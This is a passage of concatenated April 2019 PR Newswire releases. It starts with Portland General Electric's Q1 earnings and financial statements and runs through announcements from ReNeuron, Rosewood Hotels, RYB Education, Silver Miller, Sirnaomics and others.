underperformed and a decrease in miscellaneous other items. 2019 earnings guidance PGE is affirming its 2019 guidance of $2.35 to $2.50 per diluted share. This guidance is based on the following assumptions: Increase in retail deliveries of 0.5% Average hydro conditions for the year Wind generation based on five years of historical levels or forecast studies when historical data is not available Normal thermal plant operations Depreciation and amortization expense between $400 million and $420 million and Operating and maintenance costs between $585 million and $605 million First Quarter 2019 earnings call and webcast April 26, 2019 PGE will host a conference call with financial analysts and investors on Friday, April 26, 2019, at 11 a.m. ET. The conference call will be webcast live on the PGE website at investors.portlandgeneral.com . A replay of the call will be available beginning at 2 p.m. ET on Friday, April 26, 2019, through 2 p.m. ET on Friday, May 3, 2019. Maria Pope, president and CEO; Jim Lobdell, senior vice president of Finance, CFO, and treasurer; and Chris Liddle, director, Investor Relations and Treasury, will participate in the call. Management will respond to questions following formal comments. The attached unaudited condensed consolidated statements of income and comprehensive income, condensed consolidated balance sheets, and condensed consolidated statements of cash flows, as well as the supplemental operating statistics, are an integral part of this earnings release. About Portland General Electric Company Portland General Electric (NYSE: POR) is a fully integrated energy company based in Portland, Oregon, serving more than 887,000 customers in 51 cities. For 130 years, PGE has been delivering safe, affordable and reliable energy to Oregonians. Together with its customers, PGE has the No. 1 voluntary renewable energy program in the U.S. With approximately 3,000 employees across the state, PGE is committed to helping its customers and the communities it serves build a clean energy future. For more information, visit PortlandGeneral.com/CleanVision. Safe Harbor Statement Statements in this news release that relate to future plans, objectives, expectations, performance, events and the like may constitute "forward-looking statements" within the meaning of the Private Securities Litigation Reform Act of 1995, Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. Forward-looking statements include statements regarding earnings guidance; statements regarding future load, hydro conditions and operating and maintenance costs; statements concerning implementation of the company's integrated resource plan; statements concerning future compliance with regulations limiting emissions from generation facilities and the costs to achieve such compliance; as well as other statements containing words such as "anticipates," "believes," "intends," "estimates," "promises," "expects," "should," "conditioned upon," and similar expressions. Investors are cautioned that any such forward-looking statements are subject to risks and uncertainties, including reductions in demand for electricity; the sale of excess energy during periods of low demand or low wholesale market prices; operational risks relating to the company's generation facilities, including hydro conditions, wind conditions, disruption of fuel supply, and unscheduled plant outages, which may result in unanticipated operating, maintenance and repair costs, as well as replacement power costs; failure to complete capital projects on schedule or within budget, or the abandonment of capital projects, which could result in the company's inability to recover project costs; the costs of compliance with environmental laws and regulations, including those that govern emissions from thermal power plants; changes in weather, hydroelectric and energy markets conditions, which could affect the availability and cost of purchased power and fuel; changes in capital market conditions, which could affect the availability and cost of capital and result in delay or cancellation of capital projects; the outcome of various legal and regulatory proceedings; general economic and financial market conditions; severe weather conditions, wildfires, and other natural phenomena and natural disasters that could result in operational disruptions, unanticipated restoration costs, or liability for third party property damage; and cyber security breaches of the company's customer information system or operating systems, which may affect customer bills or other aspects of our operations. As a result, actual results may differ materially from those projected in the forward-looking statements. All forward-looking statements included in this news release are based on information available to the company on the date hereof and such statements speak only as of the date hereof. The company expressly disclaims any current intention to update publicly any forward-looking statement after the distribution of this release, whether as a result of new information, future events, changes in assumptions or otherwise. Prospective investors should also review the risks, assumptions and uncertainties listed in the company's most recent annual report on form 10-K and in other documents that we file with the United States Securities and Exchange Commission, including management's discussion and analysis of financial condition and results of operations and the risks described therein from time to time. POR Source: Portland General Company PORTLAND GENERAL ELECTRIC COMPANY AND SUBSIDIARIES CONDENSED CONSOLIDATED STATEMENTS OF INCOME AND COMPREHENSIVE INCOME (Dollars in millions, except per share amounts) (Unaudited) Three Months Ended March 31, 2019 2018 Revenues: Revenues, net $ 570 $ 495 Alternative revenue programs, net of amortization 3 (2) Total revenues 573 493 Operating expenses: Purchased power and fuel 179 130 Generation, transmission and distribution 77 69 Administrative and other 71 69 Depreciation and amortization 101 92 Taxes other than income taxes 34 33 Total operating expenses 462 393 Income from operations 111 100 Interest expense, net 32 31 Other income: Allowance for equity funds used during construction 3 4 Miscellaneous income (expense), net 2 (1) Other income, net 5 3 Income before income tax expense 84 72 Income tax expense 11 8 Net income 73 64 Other comprehensive income 1 Comprehensive income $ 74 $ 64 Weighted-average common shares outstandingbasic and diluted (in thousands) 89,309 89,160 Earnings per sharebasic and diluted $ 0.82 $ 0.72 PORTLAND GENERAL ELECTRIC COMPANY AND SUBSIDIARIES CONDENSED CONSOLIDATED BALANCE SHEETS (Dollars in millions) (Unaudited) March 31, 2019 December 31, 2018 ASSETS Current assets: Cash and cash equivalents $ 89 $ 119 Accounts receivable, net 226 193 Unbilled revenues 71 96 Inventories 81 84 Regulatory assetscurrent 21 61 Other current assets 108 90 Total current assets 596 643 Electric utility plant, net 6,747 6,887 Regulatory assetsnoncurrent 380 401 Nuclear decommissioning trust 46 42 Non-qualified benefit plan trust 37 36 Other noncurrent assets 142 101 Total assets $ 7,948 $ 8,110 March 31, 2019 December 31, 2018 LIABILITIES AND SHAREHOLDERS' EQUITY Current liabilities: Accounts payable $ 136 $ 168 Liabilities from price risk management activitiescurrent 32 55 Current portion of long-term debt 300 300 Accrued expenses and other current liabilities 263 268 Total current liabilities 731 791 Long-term debt, net of current portion 2,178 2,178 Regulatory liabilitiesnoncurrent 1,356 1,355 Deferred income taxes 380 369 Unfunded status of pension and postretirement plans 309 307 Liabilities from price risk management activitiesnoncurrent 78 101 Asset retirement obligations 198 197 Non-qualified benefit plan liabilities 103 103 Other noncurrent liabilities 67 203 Total liabilities 5,400 5,604 Commitments and contingencies (see notes) Shareholders' Equity: Preferred stock, no par value, 30,000,000 shares authorized; none issued and outstanding as of March 31, 2019 and December 31, 2018 Common stock, no par value, 160,000,000 shares authorized; 89,356,311 and 89,267,959 shares issued and outstanding as of March 31, 2019 and December 31, 2018, respectively 1,212 1,212 Accumulated other comprehensive loss (8) (7) Retained earnings 1,344 1,301 Total shareholders' equity 2,548 2,506 Total liabilities and shareholders' equity $ 7,948 $ 8,110 PORTLAND GENERAL ELECTRIC COMPANY AND SUBSIDIARIES CONDENSED CONSOLIDATED STATEMENTS OF CASH FLOWS (In millions) (Unaudited) Three Months Ended March 31, 2019 2018 Cash flows from operating activities: Net income $ 73 $ 64 Adjustments to reconcile net income to net cash provided by operating activities: Depreciation and amortization 101 92 Deferred income taxes 9 6 Pension and other postretirement benefits 6 6 Allowance for equity funds used during construction (3) (4) Decoupling mechanism deferrals, net of amortization (4) 3 (Amortization) Deferral of net benefits due to Tax Reform (5) 15 Other non-cash income and expenses, net 10 4 Changes in working capital: (Increase) decrease in accounts receivable and unbilled revenues (1) 45 Decrease (increase) in inventories 3 (2) Decrease (increase) in margin deposits, net 1 (6) (Decrease) in accounts payable and accrued liabilities (13) (17) Other working capital items, net (12) (5) Other, net (9) (7) Net cash provided by operating activities 156 194 Cash flows from investing activities: Capital expenditures (150) (131) Sales of Nuclear decommissioning trust securities 4 3 Purchases of Nuclear decommissioning trust securities (2) (3) Other, net (3) 1 Net cash used in investing activities (151) (130) Cash flows from financing activities: Dividends paid (32) (30) Other (3) (3) Net cash used in financing activities (35) (33) (Decrease) increase in cash and cash equivalents (30) 31 Cash and cash equivalents, beginning of period 119 39 Cash and cash equivalents, end of period $ 89 $ 70 Supplemental cash flow information is as follows: Cash paid for interest, net of amounts capitalized $ 13 $ 13 PORTLAND GENERAL ELECTRIC COMPANY AND SUBSIDIARIES SUPPLEMENTAL OPERATING STATISTICS (Unaudited) Three Months Ended March 31, 2019 2018 Revenues (dollars in millions): Retail: Residential $ 290 50 % $ 268 54 % Commercial 154 27 151 31 Industrial 44 8 44 9 Direct Access 11 2 10 2 Subtotal 499 87 473 96 Alternative revenue programs, net of amortization 3 1 (2) Other accrued (deferred) revenues, net 7 1 (17) (4) Total retail revenues 509 89 454 92 Wholesale revenues 37 6 28 6 Other operating revenues 27 5 11 2 Total revenues $ 573 100 % $ 493 100 % Energy deliveries (MWh in thousands): Retail: Residential 2,256 39 % 2,133 37 % Commercial 1,631 28 1,597 27 Industrial 708 12 680 12 Subtotal 4,595 79 4,410 76 Direct access: Commercial 164 3 152 3 Industrial 360 6 345 6 Subtotal 524 9 497 9 Total retail energy deliveries 5,119 88 4,907 85 Wholesale energy deliveries 674 12 874 15 Total energy deliveries 5,793 100 % 5,781 100 % Average number of retail customers: Residential 776,067 88 % 768,886 88 % Commercial 109,750 12 106,730 12 Industrial 199 206 Direct access 631 597 Total 886,647 100 % 876,419 100 % PORTLAND GENERAL ELECTRIC COMPANY AND SUBSIDIARIES SUPPLEMENTAL OPERATING STATISTICS, continued (Unaudited) Three Months Ended March 31, 2019 2018 Sources of energy (MWh in thousands): Generation: Thermal: Natural gas 2,168 38 % 1,863 33 % Coal 1,335 24 545 10 Total thermal 3,503 62 2,408 43 Hydro 377 7 472 8 Wind 212 4 475 8 Total generation 4,092 73 3,355 59 Purchased power: Term 1,258 22 1,747 31 Hydro 247 4 506 9 Wind 41 1 58 1 Total purchased power 1,546 27 2,311 41 Total system load 5,638 100 % 5,666 100 % Less: wholesale sales (674) (874) Retail load requirement 4,964 4,792 The following table indicates the number of heating degree-days for the three months ended March 31, 2019 and 2018, along with 15-year averages based on weather data provided by the National Weather Service, as measured at Portland International Airport: Heating Degree-days 2019 2018 Avg. January 670 595 739 February 760 625 581 March 562 546 509 Year-to-date 1,992 1,766 1,829 Increase/(decrease) from the 15-year average 9 % (3) % Media Contact: Investor Contact: Andrea Platt Chris Liddle Corporate Communications Investor Relations Phone: 503-464-7980 Phone: 503-464-7458 SOURCE Portland General Company Related Links http://portlandgeneral.com LONDON, April 26, 2019 /PRNewswire/ -- ReNeuron Group plc (AIM: RENE), a global leader in the development of cell-based therapeutics, announced updated positive preliminary results in the Company's ongoing Phase 1/2a clinical trial of its human retinal progenitor cell (hRPC) therapy candidate in the blindness-causing disease, retinitis pigmentosa (RP). All three subjects in the first cohort of the Phase 2a part of the trial have demonstrated a sustained and further improvement in vision compared with their pre-treatment baseline. The data is being presented today by Jason Comander M.D., Ph.D., Associate Director, Inherited Retinal Disorders Service, Massachusetts Eye and Ear, and Assistant Professor, Harvard Medical School, , at the sixth annual Retinal Cell and Gene Therapy Innovation Summit in Vancouver, British Columbia, which precedes the 2019 annual meeting of the Association for Research in Vision and Ophthalmology (ARVO) taking place on April 28 May 2. Summary of the preliminary efficacy data (visual acuity measured using the standardized ETDRS chart, five letters per line) Subject Visual Acuity at Baseline Improvement vs Baseline Initial1 (time period) Further2 (time period) First subject 9 letters + 20 letters (60-day) + 21 letters (120-day) Second subject 9 letters + 15 letters (18-day) + 25 letters (60-day) Third subject 32 letters + 14 letters (18-day) + 23 letters (60-day) 1February 20, 2019 update 2April 26, 2019 update At the most recent follow-up, subjects in the study showed a mean improvement from baseline in visual acuity of + 23 letters in the treated eye. The untreated control eyes did not show meaningful improvement (mean change from baseline of + 5 letters, range - 2 to + 12 letters). An improvement of + 23 letters is equivalent to reading an additional four lines of letters on the ETDRS eye chart, the standardized eye chart used to measure visual acuity in clinical trials. An improvement of at least + 15 letters from baseline on the ETDRS chart is considered to be clinically meaningful by the U.S. Food and Drug Administration (FDA), as stated in their recent guidance on gene therapy for retinal disorders. As a comparator, the difference between a patient with 20/20 vision and 20/200 vision (the latter being the legal definition for blindness in terms of central visual acuity) would be the equivalent of being able to read an extra ten lines on the ETDRS chart. In addition to these objective measurements, all three subjects have also noted a subjective improvement in vision in their treated eye. "I am excited that the rapid and remarkable visual improvement in these RP patients has been sustained and even improved upon at 60 and 120 days. It is especially gratifying to feel the excitement and joy in my patients where this objective and subjective improvement in their vision has been a source of hope following years of slow but steady progression towards blindness," commented Pravin Dugel M.D., Managing Partner, Retinal Consultants of Arizona, Phoenix, Arizona, and Clinical Professor, Roski Eye Institute, USC Keck School of Medicine, Los Angeles, California, and study investigator. Retinitis pigmentosa is a group of hereditary diseases of the eye that lead to progressive loss of sight due to cells in the retina becoming damaged and eventually dying. The Company's RP clinical program has been granted Orphan Drug Designation in both Europe and the U.S., as well as Fast Track designation from the FDA. The Phase 1/2a clinical trial is an open-label study to evaluate the safety, tolerability and preliminary efficacy of ReNeuron's hRPC stem cell therapy candidate in patients with advanced RP. The Phase 2a part of the trial, which uses a cryopreserved hRPC formulation, enrolls subjects with some remaining retinal function and is being conducted at two clinical sites in the U.S., Massachusetts Eye and Ear in Boston, MA, and Retinal Research Institute in Phoenix, AZ. The Company notes that these data remain early and it will continue to generate further data, including regular ongoing monitoring of the treated subjects, to continue to assess durability of effect and efficacy over a longer period of time and in a larger number of patients. "The extent of vision improvement observed in this patient cohort demonstrates the potential for our hRPC cell therapy candidate to make an enormous difference in the lives of patients with RP. Treatment has already begun in the next cohort of patients, who have a greater baseline level of visual acuity than those treated so far. The results from this cohort will be presented in due course," commented Olav Helleb, Chief Executive Officer of ReNeuron. About ReNeuron ReNeuron is a global leader in cell-based therapeutics, harnessing its unique stem cell technologies to develop 'off-the-shelf' stem cell treatments, without the need for immunosuppressive drugs. The Company's lead clinical-stage candidates are in development for disability as a result of stroke and for the blindness-causing disease, retinitis pigmentosa. ReNeuron is also advancing its proprietary exosome technology platform as a potential delivery system for drugs that would otherwise be unable to reach their site of action. ReNeuron's shares are traded on the London AIM market under the symbol RENE.L. Further information on ReNeuron and its products can be found at www.reneuron.com. This announcement contains forward-looking statements with respect to the financial condition, results of operations and business achievements/performance of ReNeuron and certain of the plans and objectives of management of ReNeuron with respect thereto. These statements may generally, but not always, be identified by the use of words such as "should", "expects", "estimates", "believes" or similar expressions. This announcement also contains forward-looking statements attributed to certain third parties relating to their estimates regarding the growth of markets and demand for products. By their nature, forward-looking statements involve risk and uncertainty because they reflect ReNeuron's current expectations and assumptions as to future events and circumstances that may not prove accurate. A number of factors could cause ReNeuron's actual financial condition, results of operations and business achievements/performance to differ materially from the estimates made or implied in such forward-looking statements and, accordingly, reliance should not be placed on such statements. SOURCE ReNeuron Group plc Related Links http://www.reneuron.com BATON ROUGE, La., April 26, 2019 /PRNewswire/ -- The Retailers Casualty Insurance Company board of directors has declared a $1 million dividend for the 2017 policy year, and dividends to qualifying policyholders have been distributed, either by a mailed check or a credit to their account. Each dividend is in proportion to qualifying policyholder premium and loss ratiothe better their record, the higher the return. The amount of dividend paid to qualifying policyholders with zero losses will be 7.7 percent of their normal premium. Policyholders must meet minimum requirements, and dividends are not guaranteed. "Retailers Casualty Insurance Company continues to provide stable workers' comp coverage for our policyholders and rewards those who keep their losses low," states Carl Carstens, chairman of the Retailers Casualty board of directors. "Summit continues to offer support through loss prevention and claims cost containment services to help make these dividends possible," says Hank Chiles, senior vice president responsible for Summit's Southwest Region. "The potential for dividendscombined with exceptional servicecontinue to make Retailers Casualty Insurance Company one of the best workers' compensation programs in the market." Retailers Casualty is managed by Summit Consulting LLC, DBA Summit, the people who know workers' comp LLC. Summit has more than 40 years of experience in workers' compensation and provides underwriting, policy administration, claims management and loss prevention services to Retailers Casualty Insurance Company policyholders. About Summit Based in Lakeland, Florida, Summit is a leading provider of workers' compensation insurance coverage in the southeastern United States, and is a member of Great American Insurance Group. Summit manages the day-to-day operations of five workers' compensation insurance companies that include its two affiliates, Bridgefield Employers Insurance Company and Bridgefield Casualty Insurance Company, and three non-affiliates, BusinessFirst Insurance Company, RetailFirst Insurance Company and Retailers Casualty Insurance Company. Summit provides its comprehensive workers' compensation insurance services to businesses in Alabama, Arkansas, Florida, Georgia, Indiana, Kentucky, Louisiana, Mississippi, North Carolina, South Carolina, Tennessee and Texas. Summit, which includes Summit Consulting LLC and its subsidiaries, has offices in Lakeland, Florida, Baton Rouge, Louisiana, and Gainesville, Georgia. For more information, visit www.summitholdings.com. SOURCE Retailers Casualty Insurance Company Related Links http://www.summitholdings.com CAPE CORAL, Fla., April 26, 2019 /PRNewswire/ -- Riverchase Dermatology and Cosmetic Surgery is honored to be named Cape Coral's Best in Dermatology for 2019 by the News Press. The News Press' Best of Cape Coral is a community elected honor given to local businesses that provide exceptional goods and services. As part of their passion for skin health and dedication to providing quality patient care to the Southwest Florida area, Riverchase initially opened their doors in Cape Coral in 2012 and expanded to add a second location in 2018. Driven by the desire to provide quality dermatology services at a convenient location, Riverchase continues to expand and now offers 38 convenient dermatology and cosmetic surgery locations across Florida. About Riverchase Dermatology and Cosmetic Surgery Riverchase Dermatology and Cosmetic Surgery is one of Florida's largest and most comprehensive skin centers. Founded in Naples, Florida in 2000 by Andrew T. Jaffe, MD, FAAD, Riverchase has maintained its initial vision of providing the most comprehensive skin cancer, dermatology and cosmetic surgery services for over two decades. The caring and skilled providers at Riverchase use the latest techniques and equipment to diagnose and treat a wide range of skin disorders and cosmetic concerns. Riverchase has many convenient locations throughout Florida. For more information, visit www.RiverchaseDermatology.com. CONTACT Marissa Listello Marketing Manager Lee & Collier Counties (239) 738-7788 [email protected] SOURCE Riverchase Dermatology and Cosmetic Surgery Related Links http://www.riverchasedermatology.com HONG KONG, April 26, 2019 /PRNewswire/ -- Three properties from the Rosewood Hotels & Resorts collection have been recognized on Conde Nast Traveler's 2019 Hot List, the highly renowned and respected annual awards list that recognizes the best newly opened and renovated properties around the world. All of Rosewood's eligible properties Rosewood Baha Mar in The Bahamas, Rosewood Luang Prabang in Laos and Rosewood Phnom Penh in Cambodia have been honored on this year's list among the mere 75 hottest hotel openings of the last year. The full list of properties on the 2019 Hot List can be found here . 2019 marks the second year in a row that Rosewood Hotels & Resorts has been the most highly awarded hotel group on the Hot List, demonstrating the success of Rosewood's ambitious yet thoughtful growth strategy to introduce innovative properties in new and undiscovered destinations and provide travelers with entirely bespoke experiences. The recognition additionally underscores the brand's thorough understanding of and commitment to today's luxury traveler, wherein meaningful experiences, profound authenticity and privileged insights into new cultures and communities serve as the true impetus for travel. "The past year has been monumental for Rosewood, expanding our global footprint by a significant margin and entering into new and exciting destinations to great avail," said Radha Ahora, president of Rosewood Hotels & Resorts. "Behind every new hotel, program and activation is a steadfast desire to provide our Rosewood Regulars with meaningful travel experiences around the world, and to have these efforts recognized by Conde Nast Traveler, one of the most highly regarded travel authorities in the field, is a true honor. We are proud to stand in the company of such incredible industry pioneers and look forward to continuing to work alongside them to create even more opportunities for today's generations to engage in the wonders of travel." In keeping with Rosewood's guiding A Sense of Place philosophy, wherein the fabric of the destination is woven into the entire guest experience offered there, all three distinguished properties recognized on this year's Hot List reflect their respective locales through everything from design to service to bespoke programming. Rosewood Baha Mar, set along the white sands of Nassau's Cable Beach, combines Bahamian refinement and sophistication with the sentiment of relaxed beach living for an elegant and effortless escape. Inspired by a modern Bahamian estate with authentic architecture and interior styling throughout, the resort boasts beautiful beachfront villas, guestrooms and suites and high-end amenities including four distinct dining venues and a full-service Sense, A Rosewood Spa. Rosewood Luang Prabang, nestled within an idyllic hilltop forest in north central Laos, represents the first property within the Rosewood collection to feature luxury tented villas, each of which is uniquely designed to reflect one of the neighbouring Laotian tribes that still reside in the mountains surrounding the resort. Offering an unparalleled vantage point into the UNESCO World Heritage Site of Luang Prabang, the resort immerses guests in the destination's rich cultural history, spiritual heritage and tropical landscape with inspired setting, amenities and opportunities for exploration. Rosewood Phnom Penh, centrally situated within the Cambodian capital's core cultural and business district, merges the majesty of the past with the pulse of the present and the promise of the future. The perfect home base for travelers looking to experience one of Southeast Asia's most charming cities, the hotel is a haven for leisure and business travelers alike, capturing Cambodia's signature spirit through a blend of French colonial and classic-meets-contemporary style. Four dining venues including Sora, the highest bar in Phnom Penh, Rosewood's signature Sense, A Rosewood Spa and expansive meetings and events space solidify the hotel as a destination for locals as much as for visiting guests. "We are thrilled to announce our definitive picks of the very special properties that have us talking," said Melinda Stevens, global editor in chief of Conde Nast Traveler. "Our editors and contributors traveled countless miles scouting hundreds of new properties across six continents. These are the ones that define why we travel now and where we are going next." About Rosewood Hotels & Resorts Rosewood Hotels & Resorts manages 27 one-of-a-kind luxury properties in 15 countries, with 21 new hotels under development. Each Rosewood hotel embraces the brand's A Sense of Place philosophy to reflect the individual location's history, culture and sensibilities. The Rosewood collection includes some of the world's most legendary hotels and resorts, including The Carlyle, A Rosewood Hotel in New York, Rosewood Mansion on Turtle Creek in Dallas and Hotel de Crillon, A Rosewood Hotel in Paris, as well as new classics such as Rosewood Beijing, Rosewood London and Rosewood Hong Kong. For more information: rosewoodhotels.com Connect with us: Facebook Twitter Instagram WeChat @RosewoodHotels About Conde Nast Traveler Conde Nast Traveler is the world's most distinguished travel title providing inspiration and advice for discerning travelers. Authoritative and influential, Conde Nast Traveler is a multi-platform, transatlantic brand. Publishing UK and US print editions under Global Editor-in-Chief Melinda Stevens, Conde Nast Traveler offers award-winning expertise in luxury travel from around the world. For more, visit www.cntraveler.com. Media Contacts: North America United Kingdom Callie Stanton Amelia Strange Nike Communications Bacchus PR Telephone: +1 646 654 3438 Telephone: +44 20 8968 0202 Email: [email protected] Email: [email protected] Hong Kong Mainland China and Asia Connie Wong Sachi Yin We Worldwide We Red Bridge Telephone: +852 2578 2179 Telephone: +86 21 2287 3621 Email: [email protected] Email: [email protected] Thailand and Southeast Asia Nopnarit Lieopanich (Zaadeu) Z Communications Telephone: +66 81 444 8444 Email: [email protected] SOURCE Rosewood Hotels & Resorts Related Links https://www.rosewoodhotels.com BEIJING, April 26, 2019 /PRNewswire/ -- RYB Education, Inc. (the "Company") (NYSE: RYB), a leading early childhood education service provider in China, today announced it has filed its annual report on Form 20-F for the fiscal year ended December 31, 2018 with the Securities and Exchange Commission (the "SEC"). The annual report is available on the Company's investor relations website at http://ir.rybbaby.com . and on the SEC's website at www.sec.gov. The Company will provide hardcopies of the annual report containing the audited consolidated financial statements, free of charge, to its shareholders and ADS holders upon request. Requests should be submitted to [email protected] . About RYB Education, Inc. Founded on the core values of "Care" and "Responsibility", "Inspire" and "Innovate," RYB Education, Inc. is a leading early childhood education service provider in China. Since opening its first play-and-learn center in 1998, the Company has grown and flourished with the mission to provide high-quality, individualized and age-appropriate care and education to nurture and inspire each child for his or her betterment in life. During its two decades of operating history, the Company has built "RYB" into a well-recognized education brand and helped bring about many new educational practices in China's early childhood education industry. RYB's comprehensive early childhood education solutions meet the needs of children from infancy to 6 years old through structured courses at kindergartens and play-and-learn centers, as well as at-home educational products and services. For more information, please visit http://ir.rybbaby.com For investor and media inquiries, please contact: In China: RYB Education, Inc. |Investor Relations Tel: 86-10-8767-5752 E-mail: [email protected] The Piacente Group, Inc. Ross Warner Tel: +86 (10) 5730-6200 E-mail: [email protected] In the United States: The Piacente Group, Inc. Brandi Piacente Tel: +1-212-481-2050 E-mail: [email protected] SOURCE RYB Education, Inc. Related Links http://ir.rybbaby.com CARNEGIE, Pa., April 26, 2019 /PRNewswire/ -- Families in the communities surrounding The Salvation Army's Camp Allegheny in Ellwood City (From New Castle to Cranberry and everything in between) are invited for a free opportunity to spend the day at camp. The Community Day Open House will be held on Saturday, May 11th at Camp Allegheny located at 140 Jenkins Circle in Ellwood City from 12:30 pm to 3:30 pm. The Community Day Open House provides attendees with the chance to experience some of the many fun activities offered at the camp all summer. There will be a scavenger hunt with prizes and one lucky winner will receive a basket on camp gear! Other activities will include archery, s'mores, rock wall climbing, a tour of the camp, a chance to meet the camp directors and more! The Salvation Army provides residential camping experiences at its beautiful 110-acre facility and has a Summer Day Camp, now with a before care option for working parents, with transportation being provided from both New Castle and Cranberry Township. To learn more about these options for keeping children busy and well cared for during the summer months in a Christian environment, we encourage visiting during the Community Day Open House, or you can call Kayla O'Donnell at 412-446-1514 or email [email protected]. About The Salvation Army: Celebrating over 150 years of global service as both a church and a social service organization, The Salvation Army began in London, England in 1865. Today, it provides critical services in 128 countries worldwide. The 28-county Western Pennsylvania Division serves thousands of needy families through a wide variety of support services. To learn more about The Salvation Army in Western Pennsylvania, log on to www.wpa.salvationarmy.org. The Salvation Army doing the most good for the most people in the most need. Contact: Donna L. Fencik, Divisional Director of Marketing & Public Relations The Salvation Army Western PA Division Office (412) 446-1642 Mobile (412) 580-0627 700 North Bell Avenue Carnegie, PA 15106 www.wpa.salvationarmy.org [email protected] SOURCE The Salvation Army Western PA Division Related Links http://www.salvationarmy-wpa.org CORAL SPRINGS, Fla., April 26, 2019 /PRNewswire/ -- In Spring 2018, Seattle, Washington-based start-up tech security company Atonomi LLC ("Atonomi"), a wholly-owned subsidiary of CENTRI Technologies, Inc., raised approximately $25 Million through an Initial Coin Offering (ICO) to develop what it promoted as a cryptocurrency security protocol that would revolutionize identity validation for users of internet-connected devices. Silver Miller (www.SilverMillerLaw.com) one of the leading cryptocurrency investor law firms in America -- has commenced an investigation on behalf of concerned investors into whether the Atonomi ICO violated state and federal securities laws for failing to register its token sale. Although Atonomi acknowledged in its offering documents that it was selling a security and the company sought from government regulators an exemption from having to register its sale, no exemption was ever recognized by regulators; yet the unregistered sale went forward. According to public documents, the Atonomi tokens have developed no substantive utility since they were released other than as an investment vehicle; and the price of Atonomi tokens have collapsed by over 98% -- thus destroying for Atonomi investors any viable market for the tokens. Securities laws exist to, among other things, ensure that important financial information is disclosed to investors so those investors can make informed judgments about whether to purchase a company's securities. When securities laws are violated or ignored, investors are at risk of being defrauded and losing their funds through deceit or otherwise unfair fundraising practices. Silver Miller is committed to representing investors who have been harmed by deceit and misrepresentation by companies who fail to adhere to those important investor-protection standards. Silver Miller continues to be a strong advocate for aggrieved cryptocurrency investors harmed by the illegal actions of fraudulent investment promoters, digital asset exchanges, and trading platforms. With actions pending against the Coinbase, Kraken, BitConnect, and Cryptsy exchanges as well as lawsuits against pre-functional token ICO promoters Tezos, Monkey Capital, and Nano, Silver Miller is at the forefront of cryptocurrency and securities fraud litigation. If you have invested in the Atonomi ICO or any other ICO and are concerned that your investment is in jeopardy or that you have been defrauded, contact Silver Miller for a no-cost, no-obligation consultation to discuss you legal rights. Contact: David C. Silver Silver Miller Managing Partner Telephone: Florida 954-516-6000 E-Mail: [email protected] SOURCE Silver Miller Related Links http://www.silvermillerlaw.com GAITHERSBURG, Md., April 26, 2019 /PRNewswire/ -- Sirnaomics Inc., a leading biopharmaceutical company in discovery and development of RNAi therapeutics against cancer and fibrotic diseases, announced today that it has sealed the C2 round of financing for $22 million. This round of funding was led by CR-CP Life Sciences Fund, a Hong Kong based joint venture established by China Resources Group and Charoen Pokphand Group, two Asian conglomerates. Additional investors for the C2 round included Rich Yield Capital from Shanghai, Rolling Boulder Investment from Shenzhen and Legend Sky Investment of USA. Therefore, the Company has completed its Series C financing combining the previously announced C1 round of $25 million and C2 round for a total $47 million. Sirnaomics plans to use the proceeds to support its clinical programs for RNAi therapeutics for treatments of a range of cancers and fibrotic diseases, and to advance its technology platforms. The Company's lead product candidate (STP705), based on its dual targeting property and early safety study results, is currently being investigated for treatment of non-melanoma skin cancer in a phase II clinical study. A second clinical trial for treatment of cholangiocarcinoma and hepatocellular carcinoma is expected to commence in the second half of 2019. "Completion of C round of financing strongly positions Sirnaomics for the next phase of technology and product development, in particular for our clinical studies to treat various types of cancer. It also demonstrated that investment communities have strong commitment to RNAi therapeutics and are confident in Sirnaomics' platform technology and therapeutic programs," remarked Patrick Lu, PhD, President and Chief Executive Officer. "We are thrilled to add a well-regarded syndicate of investors to the Series C financing. They will bring an abundance of resources beyond their financial commitments and will enable us to advance our innovative RNAi therapeutics." Mr. Da Liu, the managing director of CR-CP Life Science Fund, stated, "We are pleased to invest in Sirnaomics. Sirnaomics is the only biotechnology company conducting clinical drug development in the field of RNAi therapeutics both in USA and China, the two major markets for oncology and fibrosis. The management team is truly international and has well balanced skillset in RNAi drug development. We have confidence in the team and trust that it will advance the focused pre-clinical and clinical programs quickly and efficiently." About CR-CP Life Science Fund CR-CP Life Science Fund is a joint venture set up by China Resources Group ("CR") and Charoen Pokphand Group ("CP"), one of the largest private Thai conglomerates, with initial AUM of US$300 million contributed by CR, CP and global life science investors. The fund is mandated to invest in leading life science companies that develop innovative drugs and cell therapies, medical devices and smart healthcare technology. About China Resources Group China Resources Group is a Hong Kong based conglomerate engaged in seven key strategic business units, including pharmaceuticals, consumer products, power, real estate, cement, town gas and finance. The company employs more than 420,000 employees globally. CR was ranked 86 of the Fortune Global 500 enterprises in 2018. CR conducts its healthcare business primarily through CR Pharmaceutical Group, the 2nd largest pharmaceutical group in China and manages multiple public pharma companies as well as CR Healthcare (operator of 110 hospitals and clinics with more than 15,000 open beds in China). About Charoen Pokphand Group Charoen Pokphand Group is a Thai based conglomerate operating businesses in several areas which include retail, telecommunication and media, e-commerce and digital, property development, plastics, automotive, finance and insurance, and pharmaceutical. The group has more than 300,000 employees in over 30 countries and, with over 200 business subsidiaries in Mainland China, CP is well known in China as "Zheng Da". CP participates in the healthcare industry mainly through Sino Biopharmaceutical Limited which has become one of the leading players in the pharmaceutical industry in China through innovative research, development, production and sales, covering pharmaceuticals, medical treatment and healthcare. About Sirnaomics, Inc. Sirnaomics, Inc., a leading privately held biopharmaceutical company for discovery and development of RNAi therapeutics, is a Delaware corporation headquartered in Gaithersburg, Maryland, USA, with subsidiaries in Suzhou and Guangzhou, China. The company's mission is to develop novel therapeutics to alleviate human suffering and advance patient care in areas of high unmet medical need. The guiding principles of the company are: Innovation, Global Vision with a Patient Centered focus. Members of the senior management team have a great deal of combined experience in the biopharmaceutical industry, financial, clinical and business management in both the USA and China. The company is supported by funding from institutional investors, corporate partnerships and government grants. Sirnaomics has developed a strong portfolio of intellectual property with an enriched product pipeline. The therapeutic areas of focus include oncology and anti-fibrotic therapeutics. Learn more at www.sirnaomics.com. CONTACT: Sirnaomics, Inc. Michael Molyneaux MD MBA Chief Medical Officer [email protected] ICR Healthcare Investors: Stephanie Carrington Tel: +1 646 277 1282 Email: [email protected] Media: James Heins Tel: +1 203 682 8251 Email: [email protected] SOURCE Sirnaomics, Inc. Related Links http://www.sirnaomics.com Clow believed that creative agencies had a responsibility to tell the total brand story; from communications to packaging and even product design, everything had to be true to the brand's ethos and purpose. He started referring to his philosophy as Media Arts in the early 2000s. In early 2018, 